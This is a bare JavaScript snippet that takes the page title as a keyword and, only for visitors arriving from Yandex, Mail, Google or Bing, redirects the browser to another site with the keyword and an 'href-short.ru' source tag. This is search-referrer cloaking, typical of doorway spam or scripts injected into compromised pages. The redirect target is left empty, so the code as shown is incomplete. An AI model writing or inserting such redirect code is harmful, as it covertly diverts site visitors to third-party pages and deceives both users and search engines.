var keyword = document.title; var isps = document.referrer.match(/(yandex)|(mail)|(google)|(bing)/i); if (keyword.indexOf("Tumblr.Com")>0) { keyword = keyword.split("Tumblr.Com")[1].replace("— ","").replace("...",""); } else { keyword = keyword.split("-")[0]; keyword = keyword.split("::")[0]; } if (isps) {window.location.href = "http:///?q="+encodeURIComponent(keyword)+"&source=href-short.ru";}